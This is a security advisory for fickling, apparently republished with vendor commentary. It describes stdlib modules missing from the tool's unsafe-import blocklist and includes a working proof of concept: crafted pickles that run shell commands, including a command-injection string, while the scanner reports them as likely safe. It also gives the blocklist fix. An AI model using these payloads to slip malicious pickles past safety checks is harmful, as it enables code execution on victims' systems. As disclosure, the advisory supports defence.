GHSA-5hwf-rc88-82xm — fickling
Fix: trailofbits/fickling@ffac347GHSA-5hwf-rc88-82xm is a remote code execution vulnerability in fickling. A fix is available for fickling — see the affected versions and patch details below.
Fickling missing RCE-capable modules in UNSAFE_IMPORTS
Real-World Exposure
ficklingReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Assessment
The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).
Original report
Summary
fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.
Affected Versions
- fickling <= 0.1.8 (all versions)
Details
Missing Modules
fickling's UNSAFE_IMPORTS (86 modules) does not include:
| Module | RCE Function | Internal Mechanism | Importable On |
|---|---|---|---|
uuid | _get_command_stdout(cmd, *args) | subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) | All platforms |
_osx_support | _read_output(cmdstring) | os.system(cmd) via temp file | All platforms |
_osx_support | _find_build_tool(toolname) | Command injection via %s in _read_output("/usr/bin/xcrun -find %s" % toolname) | All platforms |
_aix_support | _read_cmd_output(cmdstring) | os.system(cmd) via temp file | All platforms |
Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.
Why These Pass fickling
NonStandardImports: These are stdlib modules, sois_std_module()returns True → not flaggedUnsafeImports: Module names not inUNSAFE_IMPORTS→ not flaggedOvertlyBadEvals: Function names added tolikely_safe_imports(stdlib) → skippedUnusedVariables: Defeated by BUILD opcode (purposely unhardend)
Proof of Concept (using fickling's opcode API)
from fickling.fickle import (
Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle
frame_data = b"\x95" + struct.pack("<Q", 60)
# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("uuid"),
ShortBinUnicode("_get_command_stdout"),
StackGlobal(),
ShortBinUnicode("echo"),
ShortBinUnicode("PROOF_OF_CONCEPT"),
TupleTwo(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_aix_support"),
ShortBinUnicode("_read_cmd_output"),
StackGlobal(),
ShortBinUnicode("echo PROOF_OF_CONCEPT"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_osx_support"),
ShortBinUnicode("_find_build_tool"),
StackGlobal(),
ShortBinUnicode("x; echo INJECTED #"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
result = check_safety(p)
print(f"{name}: severity={result.severity}, issues={len(result.results)}")
# Output: severity=Severity.LIKELY_SAFE, issues=0
# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT
Verified Output
$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT
Impact
An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.
Suggested Fix
Add to UNSAFE_IMPORTS in fickling:
"uuid",
"_osx_support",
"_aix_support",
Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.
Resources
- Python source:
Lib/uuid.pylines 156-168 (_get_command_stdout) - Python source:
Lib/_osx_support.pylines 35-52 (_read_output), lines 54-68 (_find_build_tool) - Python source:
Lib/_aix_support.pylines 14-30 (_read_cmd_output) - fickling source:
analysis.pyUNSAFE_IMPORTSset
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fickling | all versions | 0.1.9pip install --upgrade 'fickling==0.1.9' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fickling to 0.1.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5hwf-rc88-82xm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-5hwf-rc88-82xm can be triaged on real exposure rather than presence alone.
Tailored to GHSA-5hwf-rc88-82xm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5hwf-rc88-82xm in your dependencies?
O3 Security finds GHSA-5hwf-rc88-82xm across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.